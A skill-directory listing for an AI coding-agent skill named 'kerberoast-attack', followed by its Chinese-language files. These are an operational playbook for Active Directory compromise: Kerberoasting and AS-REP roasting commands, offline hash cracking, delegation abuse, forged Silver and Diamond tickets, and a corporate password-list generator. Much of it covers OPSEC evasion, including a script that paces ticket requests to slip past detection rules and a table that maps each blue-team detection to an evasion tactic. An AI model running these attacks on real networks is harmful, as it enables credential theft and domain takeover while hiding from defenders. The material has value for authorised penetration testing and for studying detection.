
Kerberoast Attack
- 23 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
kerberoast-attack is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- kerberoast-attack
- AI & Agent Building
- AI-coding skill
Kerberoast Attack by the numbers
- 23 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,994 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill kerberoast-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 23 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Kerberoasting & AS-REP Roasting
核心价值:以任意域用户权限获取高权限服务账户密码 → 无需提权即可达到域管级别
⛔ 深入参考
- Hashcat 破解模式与字典策略 → references/hash-cracking.md
- 多 Hash 类型 GPU 基准与高级破解工程 → references/hash-cracking-guide.md
- 防御绕过与高级利用 → references/advanced-kerberoast.md
---
Part A: Kerberoasting(需要任意域用户凭据)
Phase 1: SPN 枚举
# impacket — 最推荐
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request
# netexec
netexec ldap DC_IP -u user -p pass --kerberoasting output.txt
# 纯 LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
-b "DC=domain,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName memberOf
# PowerShell(已在域内机器)
setspn -T domain -Q */*
# 或
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalNamePhase 2: 票据请求策略
加密类型选择:
├─ RC4 (etype 23) → hashcat mode 13100 → 破解速度快 ⭐
├─ AES256 (etype 18) → hashcat mode 19700 → 破解速度慢 10x
└─ AES128 (etype 17) → hashcat mode 19600 → 中等
策略:
├─ 默认 impacket 请求 RC4 → 最快破解
├─ 如果目标强制 AES → 只能接受慢速破解
├─ ⛔ 域控可能监控 RC4 TGS 请求 → OPSEC 风险!
└─ AES 请求更隐蔽(正常行为),但破解慢OPSEC 考虑:
# 隐蔽方式:请求 AES 加密票据(看起来更正常)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile hashes.txt
# 超隐蔽:只请求特定高价值 SPN(不枚举全部)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -target-user svc_sql_admin
# ⛔ 避免:一次性请求所有 SPN 的票据 → 告警Phase 3: 离线破解
# Hashcat — GPU 破解
hashcat -m 13100 hashes.txt wordlist.txt # RC4
hashcat -m 19700 hashes.txt wordlist.txt # AES256
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule # 规则
# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt
# 字典选择优先级
├─ 1. 目标相关字典(公司名+年份+特殊字符)
├─ 2. rockyou.txt + 规则
├─ 3. 泄露密码库
└─ 4. 组合攻击(公司名 + 常见模式)Phase 4: 高价值目标识别
并非所有 SPN 账户都值得破解,优先级:
高价值(优先破解):
├─ 账户是 Domain Admins / Enterprise Admins 成员
├─ 账户名含 "admin" / "svc" / "sql" / "backup"
├─ 账户有 AdminCount=1 属性
├─ 账户在 BloodHound 攻击路径上
└─ 账户密码策略宽松(无强制复杂度)
判断方法:
ldapsearch ... "(&(servicePrincipalName=*)(adminCount=1))" sAMAccountName---
Part B: AS-REP Roasting(无需凭据/需要用户列表)
Phase 1: 发现无需预认证的用户
# 无需凭据 — 枚举无需预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt \
-format hashcat -outputfile asrep_hashes.txt
# 有凭据 — 查询所有无需预认证的用户
impacket-GetNPUsers DOMAIN/user:pass -dc-ip DC_IP -request
# LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
-b "DC=domain,DC=com" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# netexec
netexec ldap DC_IP -u user -p pass --asreproast asrep.txtPhase 2: 破解 AS-REP 哈希
# hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/best64.rule
# john
john --format=krb5asrep asrep_hashes.txt --wordlist=wordlist.txt---
Part C: 后利用 — 破解成功后
拿到服务账户密码后:
├─ 使用凭据横向移动
│ netexec smb TARGETS -u svc_account -p 'cracked_pass'
├─ 如果是 DA/高权限
│ impacket-secretsdump DOMAIN/svc_admin:pass@DC_IP
├─ 申请 Silver Ticket(不经过 DC 验证)
│ impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN -spn ...
└─ 添加 SPN 到已控账户 → Targeted Kerberoasting
setspn -a http/fake svc_account # 让其他人可以对你 Kerberoast检测与规避对照
| 蓝队检测 | 红队对策 |
|---|---|
| 大量 TGS 请求 (EventID 4769) | 只请求高价值目标,不全量枚举 |
| RC4 降级检测 | 请求 AES256 票据(破解慢但隐蔽) |
| 蜜罐 SPN 账户 | 对比 BloodHound 数据,排除异常 SPN |
| 异常时间请求 | 业务时间操作 |
| 特定账户大量票据 | 分散请求时间 |
工具速查
| 工具 | 用途 |
|---|---|
| impacket-GetUserSPNs | Kerberoasting 票据请求 |
| impacket-GetNPUsers | AS-REP Roasting |
| netexec | 集成枚举与攻击 |
| Rubeus | Windows 端 Kerberoasting(含 OPSEC 选项) |
| hashcat | GPU 离线破解 |
| BloodHound | 识别高价值 SPN 账户 |
高级 Kerberoasting 与防御绕过
超越基础 Kerberoasting: Targeted 攻击、OPSEC 优化、委派滥用、高级票据伪造
---
一、Targeted Kerberoasting
1.1 仅请求高价值 SPN
策略: 不全量枚举 → 只请求高价值目标的 TGS
高价值目标识别:
├─ adminCount=1 → 曾经是高权限组成员
├─ memberOf 包含 Domain Admins / Enterprise Admins
├─ 账户名含 admin/svc/sql/backup/exchange
├─ BloodHound 攻击路径上的关键节点
└─ 密码最后设置时间较久(可能是弱密码)# 精准 LDAP 查询 — 只找高价值 SPN 账户
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w "pass" \
-b "DC=domain,DC=com" \
"(&(objectClass=user)(servicePrincipalName=*)(adminCount=1))" \
sAMAccountName servicePrincipalName memberOf pwdLastSet
# impacket — 只请求特定账户的 TGS
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -target-user svc_sql_admin -outputfile targeted_hash.txt
# Rubeus — 指定账户
Rubeus.exe kerberoast /user:svc_sql_admin /outfile:hash.txt
# BloodHound 查询高价值 SPN
# Cypher:
MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group)
WHERE g.name =~ '.*ADMIN.*'
RETURN u.name, u.serviceprincipalnames1.2 避免大量 TGS 请求触发检测
OPSEC 原则:
├─ ⛔ 不要一次请求所有 SPN 的票据
│ → 几分钟内大量 4769 事件 → 告警
│
├─ ✓ 分批请求,间隔 30-60 秒
│ → 模拟正常服务访问模式
│
├─ ✓ 使用 AES 而非 RC4
│ → RC4 降级是 Kerberoasting 特征
│ → AES 请求看起来更正常
│
├─ ✓ 在业务时间操作
│ → 凌晨 3 点的 TGS 请求更可疑
│
└─ ✓ 使用多个不同的源账户请求
→ 避免单个账户产生大量 TGS 请求#!/usr/bin/env python3
"""OPSEC-aware Kerberoasting — 分批延迟请求"""
import subprocess
import time
import random
targets = [
'svc_sql_admin',
'svc_exchange',
'svc_backup',
]
for target in targets:
print(f"[*] Requesting TGS for: {target}")
cmd = [
'impacket-GetUserSPNs',
'DOMAIN/user:pass',
'-dc-ip', 'DC_IP',
'-request',
'-target-user', target,
'-outputfile', f'{target}_hash.txt'
]
subprocess.run(cmd, capture_output=True)
# 随机延迟 30-90 秒
delay = random.randint(30, 90)
print(f" Sleeping {delay}s...")
time.sleep(delay)---
二、AS-REP Roasting 深入
2.1 发现无预认证账户
# 方法 1: LDAP 查询(需要域凭据)
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w "pass" \
-b "DC=domain,DC=com" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# UAC 标志 4194304 = DONT_REQUIRE_PREAUTH
# 方法 2: impacket(无需凭据 + 用户名列表)
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP \
-usersfile users.txt -format hashcat -outputfile asrep.txt
# 方法 3: netexec(需要凭据)
netexec ldap DC_IP -u user -p pass --asreproast asrep.txt
# 方法 4: PowerView(域内)
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname2.2 GenericWrite → 禁用预认证 → AS-REP Roast
攻击链:
1. 发现对目标用户有 GenericWrite 权限
2. 修改目标用户的 userAccountControl → 添加 DONT_REQUIRE_PREAUTH
3. 执行 AS-REP Roasting → 获取哈希
4. 恢复原始 UAC 值(OPSEC)
5. 离线破解哈希# Step 1: 确认 GenericWrite 权限(BloodHound 或 PowerView)
# BloodHound: 查看 GenericWrite/GenericAll 边
# Step 2: 禁用预认证
# PowerView:
Set-DomainObject -Identity target_user -XOR @{useraccountcontrol=4194304}
# impacket-dacledit / bloodyAD:
bloodyAD -d DOMAIN -u attacker -p pass --host DC_IP set object target_user \
userAccountControl 4194304
# Step 3: AS-REP Roast
impacket-GetNPUsers DOMAIN/target_user -dc-ip DC_IP \
-no-pass -format hashcat -outputfile asrep_target.txt
# Step 4: 恢复原始 UAC(重要 OPSEC 步骤)
Set-DomainObject -Identity target_user -XOR @{useraccountcontrol=4194304}
# 或
bloodyAD -d DOMAIN -u attacker -p pass --host DC_IP set object target_user \
userAccountControl 0 # 恢复为原值
# Step 5: 离线破解
hashcat -m 18200 asrep_target.txt wordlist.txt -r best64.rule -O -w 3---
三、Kerberoasting 变体
3.1 Constrained Delegation Abuse (S4U2Self + S4U2Proxy)
Constrained Delegation:
├─ 允许服务代表用户访问特定服务
├─ S4U2Self: 服务为自己获取任意用户的 ST(针对自身服务)
├─ S4U2Proxy: 使用 S4U2Self 的 ST 请求目标服务的 ST
├─ 如果控制了配置了 Constrained Delegation 的账户
│ → 可以冒充任意用户访问允许的目标服务
└─ 包括冒充 Domain Admin 访问域控
发现:
├─ BloodHound: 查看 AllowedToDelegate 边
├─ LDAP: (&(objectClass=user)(msds-allowedtodelegateto=*))
└─ PowerView: Get-DomainUser -TrustedToAuth# impacket — S4U2Self + S4U2Proxy
# 冒充 Administrator 访问 cifs/DC
impacket-getST DOMAIN/svc_account:pass -dc-ip DC_IP \
-spn cifs/dc01.domain.com \
-impersonate Administrator
# 使用获取的票据
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass dc01.domain.com
# Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH \
/impersonateuser:Administrator \
/msdsspn:cifs/dc01.domain.com /ptt3.2 Resource-Based Constrained Delegation (RBCD)
RBCD 攻击:
├─ 条件: 对目标机器有 GenericWrite 权限
├─ 步骤:
│ 1. 创建(或控制)一个机器账户
│ 2. 修改目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity
│ → 添加攻击者控制的机器账户
│ 3. 使用 S4U2Self + S4U2Proxy 获取目标机器的服务票据
│ 4. 冒充 Domain Admin 访问目标
└─ 不需要目标配置 Constrained Delegation# Step 1: 创建机器账户(默认域用户可添加 10 个)
impacket-addcomputer DOMAIN/user:pass -computer-name 'EVILPC$' \
-computer-pass 'Password123!' -dc-host DC_IP
# Step 2: 修改目标的 RBCD 属性
impacket-rbcd DOMAIN/user:pass -dc-ip DC_IP \
-action write -delegate-from 'EVILPC$' -delegate-to 'TARGET_SERVER$'
# Step 3: S4U 攻击
impacket-getST DOMAIN/'EVILPC$':'Password123!' -dc-ip DC_IP \
-spn cifs/target_server.domain.com \
-impersonate Administrator
# Step 4: 利用
export KRB5CCNAME=Administrator.ccache
impacket-secretsdump -k -no-pass target_server.domain.com3.3 Diamond Ticket / Sapphire Ticket
Diamond Ticket:
├─ 类似 Golden Ticket 但更隐蔽
├─ 原理:
│ 1. 获取 krbtgt 的 AES256 密钥
│ 2. 正常请求 TGT(产生合法的 4768 事件)
│ 3. 使用 krbtgt 密钥解密 TGT
│ 4. 修改 PAC 中的权限信息(添加 Domain Admin 等)
│ 5. 重新加密 TGT
├─ 与 Golden Ticket 区别:
│ Golden: 完全伪造 → 无 4768 事件 → 异常
│ Diamond: 修改合法 TGT → 有 4768 事件 → 更正常
└─ 检测更困难
Rubeus:
Rubeus.exe diamond /krbkey:AES256_KEY /user:attacker /password:pass \
/enctype:aes256 /domain:domain.com /dc:dc01.domain.com \
/ticketuser:Administrator /ticketuserid:500 /groups:512 /ptt
Sapphire Ticket:
├─ Diamond Ticket + S4U2Self
├─ 获取合法用户的 PAC → 更真实
├─ 使用 U2U (User-to-User) Kerberos 获取目标用户的 PAC
├─ 将合法 PAC 注入到伪造的 TGT 中
└─ 最隐蔽的 Kerberos 票据攻击
Rubeus:
Rubeus.exe diamond /krbkey:AES256_KEY /user:attacker /password:pass \
/enctype:aes256 /ticketuser:Administrator /ticketuserid:500 \
/groups:512 /tgtdeleg /ptt3.4 Silver Ticket
Silver Ticket:
├─ 伪造特定服务的 Service Ticket (TGS)
├─ 只需要服务账户的 NTLM/AES 密钥(不需要 krbtgt)
├─ 不经过 DC 验证 → 不产生 4769 事件
├─ 但仅对特定服务有效(不如 Golden Ticket 通用)
└─ 用于持久化访问特定服务
常见 Silver Ticket SPN:
├─ CIFS/target → 文件共享访问
├─ HTTP/target → Web 服务
├─ HOST/target → WMI/PsExec/计划任务
├─ MSSQL/target → 数据库访问
├─ LDAP/dc01 → LDAP 查询(DCSync 前提)
└─ KRBTGT/domain → 等效 Golden Ticket# impacket — Silver Ticket
impacket-ticketer -nthash NTLM_HASH \
-domain-sid S-1-5-21-XXXXXXXXXX \
-domain domain.com \
-spn cifs/target.domain.com \
Administrator
# Rubeus — Silver Ticket
Rubeus.exe silver /service:cifs/target.domain.com \
/rc4:NTLM_HASH /user:Administrator /id:500 \
/domain:domain.com /sid:S-1-5-21-XXX /ptt
# 使用
export KRB5CCNAME=Administrator.ccache
impacket-smbclient -k -no-pass target.domain.com---
四、OPSEC 注意事项
4.1 RC4 vs AES 加密类型
加密类型选择:
├─ RC4-HMAC (etype 23)
│ ├─ Kerberoasting: hashcat -m 13100 → 速度快
│ ├─ 但 RC4 TGS 请求在现代域中不正常
│ ├─ 检测规则专门标记 RC4 降级
│ └─ ⛔ 高 OPSEC 风险
│
├─ AES256 (etype 18)
│ ├─ Kerberoasting: hashcat -m 19700 → 速度慢 ~6000x
│ ├─ 在启用 AES 的域中看起来正常
│ ├─ 检测规则通常不标记 AES TGS 请求
│ └─ ✓ 低 OPSEC 风险
│
└─ 策略:
├─ 目标无 AES 策略 → 使用 RC4(速度优先)
├─ 目标有检测 → 使用 AES(隐蔽优先)
└─ 折中: 先 AES 请求 → 破解失败 → 再 RC4# impacket 请求 AES 票据
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -target-user svc_account \
-outputfile hash_aes.txt
# Rubeus 指定 AES
Rubeus.exe kerberoast /user:svc_account /enctype:aes256 /outfile:hash_aes.txt4.2 检测规则详解
Event ID 4769 — TGS Request:
├─ Service Name: 请求的 SPN
├─ Ticket Encryption Type:
│ 0x17 = RC4-HMAC → Kerberoasting 特征
│ 0x12 = AES256 → 正常
│ 0x11 = AES128 → 较少见
├─ Client Address: 请求来源 IP
├─ Account Name: 请求者
└─ Failure Code: 0x0 = 成功
检测逻辑:
├─ 短时间内同一账户大量 4769 事件 → Kerberoasting
├─ TicketEncryptionType = 0x17 + 非机器账户请求 → RC4 降级
├─ 蜜罐 SPN: 创建不对应真实服务的 SPN → 请求 = 攻击
└─ 统计基线: 账户平时请求 TGS 次数 vs 当前次数4.3 规避策略汇总
Kerberoasting OPSEC 清单:
├─ [ ] 使用 AES256 加密类型请求
├─ [ ] 一次只请求 1-3 个高价值 SPN
├─ [ ] 请求间隔 30-90 秒
├─ [ ] 在业务时间操作
├─ [ ] 使用不同源账户(如果有多个)
├─ [ ] 不请求蜜罐 SPN(对比 BloodHound 数据)
├─ [ ] 破解成功后立即使用凭据(减少重新请求)
└─ [ ] 清除本地 Kerberos 票据缓存(klist purge)
AS-REP Roasting OPSEC:
├─ [ ] 确认目标存在 → 再请求(避免大量失败请求)
├─ [ ] GenericWrite 攻击后恢复原始 UAC
└─ [ ] 不要遗留修改的属性---
五、Hashcat/John 高级技巧
5.1 Rule-based Attacks for Service Accounts
# 服务账户密码常见模式:
# - 公司名+年份+符号: Company2024!
# - 服务名+数字: SqlServer123
# - 随机但短: P@ssw0rd1
# 生成服务账户专用字典
cat <<'EOF' > svc_base.txt
Service
Password
Welcome
Server
Admin
Database
Backup
Exchange
SQL
Oracle
SAP
EOF
# 配合规则攻击
hashcat -m 13100 hashes.txt svc_base.txt \
-r /usr/share/hashcat/rules/best64.rule -O -w 3
# 自定义服务账户规则
cat <<'EOF' > svc_rules.rule
c $1 $!
c $@ $1 $2 $3
c $2 $0 $2 $4 $!
c $2 $0 $2 $5 $!
c $2 $0 $2 $6 $!
$S $e $r $v $i $c $e
$P $a $s $s
$A $d $m $i $n
EOF
hashcat -m 13100 hashes.txt svc_base.txt -r svc_rules.rule -O -w 35.2 Mask Attacks with Known Patterns
# 服务账户常见密码模式
# Pattern: ServiceName + Year + Symbol (e.g., SqlAdmin2024!)
hashcat -m 13100 hashes.txt -a 3 '?u?l?l?l?l?l?l?l?d?d?d?d?s' -O -w 3
# Pattern: Company abbreviation + digits (e.g., CORP1234)
hashcat -m 13100 hashes.txt -a 3 '?u?u?u?u?d?d?d?d' -O -w 3
# Pattern: 已知前缀 + 未知后缀
hashcat -m 13100 hashes.txt -a 3 'Service?d?d?d?d' -O -w 3
hashcat -m 13100 hashes.txt -a 3 'Svc_?l?l?l?l?d?d' -O -w 3
# 混合: 字典 + 数字后缀
hashcat -m 13100 hashes.txt -a 6 svc_base.txt '?d?d?d?d?s' -O -w 35.3 Token Length Correlation
TGS 票据中包含加密的服务票据数据。
票据长度可能暗示密码长度/类型:
分析:
├─ 提取所有哈希 → 按长度分组
├─ 较短的哈希可能对应较短的密码
├─ 但 Kerberos 票据长度主要由 PAC 大小决定
├─ 实际相关性有限,但可用于优先级排序
优先级策略:
├─ pwdLastSet 较旧的账户 → 密码可能更弱 → 优先
├─ 描述中包含 "temp" / "test" → 可能弱密码 → 优先
├─ adminCount=1 → 高价值 → 优先
└─ 不在高权限组但有 SPN → 低优先级 → 可跳过---
六、工具详细配置
Rubeus 高级选项
# Kerberoasting — 完整 OPSEC 配置
Rubeus.exe kerberoast \
/user:svc_target \
/enctype:aes256 \
/domain:domain.com \
/dc:dc01.domain.com \
/outfile:C:\Users\Public\hash.txt \
/nowrap
# AS-REP Roasting
Rubeus.exe asreproast \
/user:target_user \
/domain:domain.com \
/dc:dc01.domain.com \
/format:hashcat \
/outfile:asrep.txt
# 请求 TGT(用于后续操作)
Rubeus.exe asktgt \
/user:svc_account \
/password:cracked_pass \
/enctype:aes256 \
/domain:domain.com \
/dc:dc01.domain.com \
/ptt
# S4U 攻击
Rubeus.exe s4u \
/user:svc_account \
/aes256:AES_KEY \
/impersonateuser:Administrator \
/msdsspn:cifs/target.domain.com \
/altservice:ldap \
/pttImpacket GetUserSPNs 高级选项
# 基本 Kerberoasting
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request
# 使用 Kerberos 票据认证(避免明文密码)
impacket-GetUserSPNs DOMAIN/user -k -no-pass -dc-ip DC_IP -request
# 使用 NTLM hash 认证
impacket-GetUserSPNs DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP -request
# 输出特定格式
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -outputfile hashes.txt
# 指定目标用户
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -target-user svc_sqlPowerView 相关命令
# 发现所有 Kerberoastable 账户
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, admincount, pwdlastset
# 发现高价值 Kerberoastable 账户
Get-DomainUser -SPN -AdminCount | Select-Object samaccountname, serviceprincipalname
# 发现无预认证账户
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
# 设置 SPN(Targeted Kerberoasting 前提)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname='http/fake'}
# 清除 SPN(恢复)
Set-DomainObject -Identity target_user -Clear serviceprincipalname---
参考链接
密码破解进阶指南
对 hash-cracking.md 的补充深化: 多 hash 类型 GPU 基准、高级字典工程、规则文件适用场景详解、分布式破解策略
---
1. 多 Hash 类型 GPU 基准速度
RTX 4090 基准 (-O -w 3)
| hashcat -m | Hash 类型 | 近似速度 | 典型场景 |
|---|---|---|---|
| 1000 | NTLM | ~120 GH/s | SAM/secretsdump 提取 |
| 5600 | NetNTLMv2 | ~4.5 GH/s | Responder/relay 捕获 |
| 13100 | Kerberos TGS RC4 | ~1.2 GH/s | Kerberoasting |
| 18200 | Kerberos AS-REP RC4 | ~1.0 GH/s | AS-REP Roasting |
| 19700 | Kerberos TGS AES256 | ~200 KH/s | AES 强制域 |
| 19600 | Kerberos TGS AES128 | ~400 KH/s | AES 域 |
| 3000 | LM | ~80 GH/s | 旧系统遗留 |
| 5500 | NetNTLMv1 | ~40 GH/s | 降级攻击捕获 |
| 22000 | WPA-PBKDF2 | ~1.5 MH/s | 无线审计 |
| 3200 | bcrypt | ~180 KH/s | Web 应用 hash |
| 1800 | sha512crypt | ~2.5 MH/s | Linux /etc/shadow |
| 500 | md5crypt | ~40 MH/s | 旧 Linux/BSD |
| 7500 | Kerberos AS-REQ etype 23 | ~600 MH/s | Pre-auth hash |
多卡扩展参考
GPU 数量与速度的关系(近似线性):
├─ 1x RTX 4090 → 1.2 GH/s (13100)
├─ 2x RTX 4090 → 2.3 GH/s
├─ 4x RTX 4090 → 4.5 GH/s
└─ 8x RTX 4090 → 8.8 GH/s
云 GPU 参考:
├─ 1x A100 80GB → ~800 MH/s (13100)
├─ 8x A100 (p4d.24xlarge) → ~6 GH/s (13100)
└─ 注意: 云实例按小时计费,短时间爆破更经济跨 Hash 类型破解难度对比
从易到难(以 8 位 大小写+数字 密码为基准,单卡 RTX 4090):
NTLM (1000) → ~30 分钟 ████░░░░░░
NetNTLMv1 (5500) → ~1.5 小时 ██████░░░░
NetNTLMv2 (5600) → ~14 小时 ████████░░
KRB TGS RC4 (13100) → ~2 天 █████████░
KRB AS-REP (18200) → ~2.5 天 █████████░
KRB TGS AES (19700) → ~35 年 ██████████ (不可行)
bcrypt (3200) → ~40 年 ██████████ (不可行)---
2. 企业密码字典高级生成
2.1 密码模式频率统计(基于真实泄露库)
企业环境中最常见的密码构造模式:
├─ 40% 单词 + 数字 + 符号 (Password1!, Welcome2024@)
├─ 25% 公司名/缩写 + 年份 (Corp2024, ABC@2025)
├─ 15% 季节/月份 + 年份 (Spring2024!, January2025)
├─ 10% 键盘模式 (Qwer1234!, Zxcv@1234)
├─ 5% 中文拼音相关 (Woaini520!, Nihao2024)
└─ 5% 其他模式 (个人信息、生日等)2.2 高级企业字典生成器
#!/usr/bin/env python3
"""advanced_corp_wordlist.py — 多维度企业密码字典生成"""
import itertools
import sys
# ============ 配置区 — 根据目标修改 ============
COMPANY = {
'full': ['TargetCorp', 'targetcorp', 'TARGETCORP'],
'abbr': ['TC', 'tc', 'Tc'],
'domain': ['target', 'Target'],
'pinyin': [], # 中文公司可加拼音: ['mubiao', 'MuBiao']
}
CITY = ['Beijing', 'Shanghai', 'Shenzhen', 'beijing'] # 办公城市
PRODUCTS = ['CloudX', 'DataHub'] # 产品名
CUSTOM_KEYWORDS = [] # 从 CeWL 或 OSINT 获取的关键词
# ============ 时间维度 ============
YEARS = [str(y) for y in range(2020, 2027)]
SHORT_YEARS = ['20', '21', '22', '23', '24', '25', '26']
SEASONS_EN = ['Spring', 'Summer', 'Autumn', 'Winter',
'spring', 'summer', 'autumn', 'winter']
SEASONS_CN_PY = ['Chun', 'Xia', 'Qiu', 'Dong']
MONTHS_EN = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun',
'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec',
'January', 'February', 'March', 'April',
'May', 'June', 'July', 'August',
'September', 'October', 'November', 'December']
MONTHS_NUM = [f'{m:02d}' for m in range(1, 13)]
# ============ 连接符和后缀 ============
SEPS = ['', '@', '#', '!', '_', '.', '$']
SUFFIXES = ['', '!', '@', '#', '!!', '@#', '!@#', '#@!', '123', '1234', '!@#$']
# ============ 常见弱密码基词 ============
COMMON_BASES = [
'Password', 'password', 'P@ssw0rd', 'Welcome', 'welcome',
'Qwer', 'qwer', 'Admin', 'admin', 'Root', 'root',
'Test', 'test', 'Temp', 'temp', 'Letmein', 'letmein',
'Monday', 'Tuesday', 'Friday', 'Hello', 'Love',
'Passw0rd', 'Pa$$w0rd', 'P@ss', 'Change', 'Changeme',
]
# ============ 键盘模式 ============
KEYBOARD = [
'qwer', 'Qwer', 'QWER', 'qwerty', 'Qwerty',
'asdf', 'Asdf', 'zxcv', 'Zxcv',
'qaz', 'Qaz', 'wsx', 'Wsx',
'1qaz', '2wsx', '!QAZ', '@WSX',
'qwer1234', 'Qwer1234', 'asdf1234',
'1q2w3e', '1Q2W3E', '1q2w3e4r',
]
def generate():
passwords = set()
all_names = (COMPANY['full'] + COMPANY['abbr'] +
COMPANY['domain'] + COMPANY.get('pinyin', []))
all_time = SEASONS_EN + SEASONS_CN_PY + MONTHS_EN
all_bases = all_names + CITY + PRODUCTS + CUSTOM_KEYWORDS + COMMON_BASES
# 模式 1: 基词 + 分隔符 + 年份 + 后缀
for base, sep, year, suf in itertools.product(all_bases, SEPS[:4], YEARS, SUFFIXES[:6]):
p = f'{base}{sep}{year}{suf}'
if 6 <= len(p) <= 20:
passwords.add(p)
# 模式 2: 时间词 + 年份 + 后缀
for time_w, year, suf in itertools.product(all_time, YEARS, SUFFIXES[:5]):
passwords.add(f'{time_w}{year}{suf}')
# 模式 3: 月份号 + 年份组合 (202401, 2024-01)
for m, y in itertools.product(MONTHS_NUM, YEARS):
for base in all_names:
passwords.add(f'{base}{y}{m}')
passwords.add(f'{base}{m}{y}')
# 模式 4: 键盘模式 + 后缀
for kb, suf in itertools.product(KEYBOARD, SUFFIXES[:4]):
passwords.add(f'{kb}{suf}')
# 模式 5: 常见固定弱密码
fixed = [
'Welcome1!', 'P@ssw0rd', 'P@ssw0rd1', 'P@ssword1!',
'Password1', 'Password1!', 'Qwer1234!', 'Admin@123',
'Changeme1!', 'Monday1!', 'Letmein1!', 'Root@123',
'Admin123!', 'Test1234!', 'Temp1234!', '!@#$%^&*()',
'Aa123456!', 'Aa123456', '1234Qwer', 'Abc@1234',
]
passwords.update(fixed)
return passwords
if __name__ == '__main__':
out = sys.argv[1] if len(sys.argv) > 1 else 'advanced_corp_wordlist.txt'
pws = generate()
with open(out, 'w') as f:
for p in sorted(pws):
f.write(p + '\n')
print(f'[+] 生成 {len(pws)} 个密码候选 → {out}')2.3 从 AD 信息辅助字典生成
# 用户描述字段(经常包含默认密码或密码提示)
netexec ldap DC_IP -u USER -p PASS --users 2>/dev/null | tee ad_users.txt
# 提取用户名作为字典基词(很多用户以自己用户名为密码基础)
awk '{print $5}' ad_users.txt > usernames.txt
# 用户名变体生成
while read -r name; do
echo "${name}"
echo "${name}123"
echo "${name}1234"
echo "${name}@123"
echo "${name}2024!"
echo "${name}2025!"
echo "$(echo ${name} | sed 's/^./\U&/')1!"
done < usernames.txt >> username_variants.txt---
3. 规则文件适用场景详解
3.1 规则文件对比与选择
| 规则文件 | 条数 | 耗时系数 | 最佳适用场景 | 不适用场景 |
|---|---|---|---|---|
| best64.rule | 77 | 1x | 快速初筛、时间紧迫、AES hash | 已用过且无结果 |
| rockyou-30000.rule | 30K | 400x | 中等时间预算、通用场景 | AES hash(太慢) |
| OneRuleToRuleThemAll | 52K | 700x | 充足时间、综合最优投入产出比 | 短时间任务 |
| dive.rule | 120K+ | 1600x | 最后手段、高价值目标、过夜跑 | 日常破解 |
| d3ad0ne.rule | 34K | 450x | 通用补充、与 best64 互补 | 与 OneRule 重复 |
| T0XlC.rule | 12K | 160x | 中等规模、leet speak 变体 | 纯数字密码 |
| pantagrule | 按级别 | 可变 | 基于统计的科学规则、泄露库学习 | 企业特定模式 |
| toggles[1-5].rule | 可变 | 可变 | 大小写混合穷举 | 已知首字母大写 |
3.2 推荐破解工作流(按时间预算)
时间预算: 5 分钟
├─ hashcat ... corp_wordlist.txt -r best64.rule
└─ hashcat ... rockyou.txt (无规则)
时间预算: 1 小时
├─ hashcat ... corp_wordlist.txt -r best64.rule
├─ hashcat ... rockyou.txt -r best64.rule
└─ hashcat ... corp_wordlist.txt -r rockyou-30000.rule
时间预算: 8 小时(过夜)
├─ hashcat ... corp_wordlist.txt -r OneRuleToRuleThemAll.rule
├─ hashcat ... rockyou.txt -r OneRuleToRuleThemAll.rule
├─ hashcat ... -a 6 corp_base.txt '?d?d?d?d?s' (混合)
└─ hashcat ... -a 3 '?u?l?l?l?l?l?d?d?d?d?s' (掩码)
时间预算: 48 小时(周末跑)
├─ 以上全部
├─ hashcat ... weakpass_3.txt -r dive.rule
├─ hashcat ... -a 3 '?a?a?a?a?a?a?a?a' --increment (8位全字符暴力)
└─ 多规则叠加: -r best64.rule -r toggles1.rule3.3 规则叠加原理
# 单规则: 字典词数 × 规则数 = 候选数
# corp_wordlist.txt (5000词) × best64.rule (77条) = 385,000 候选
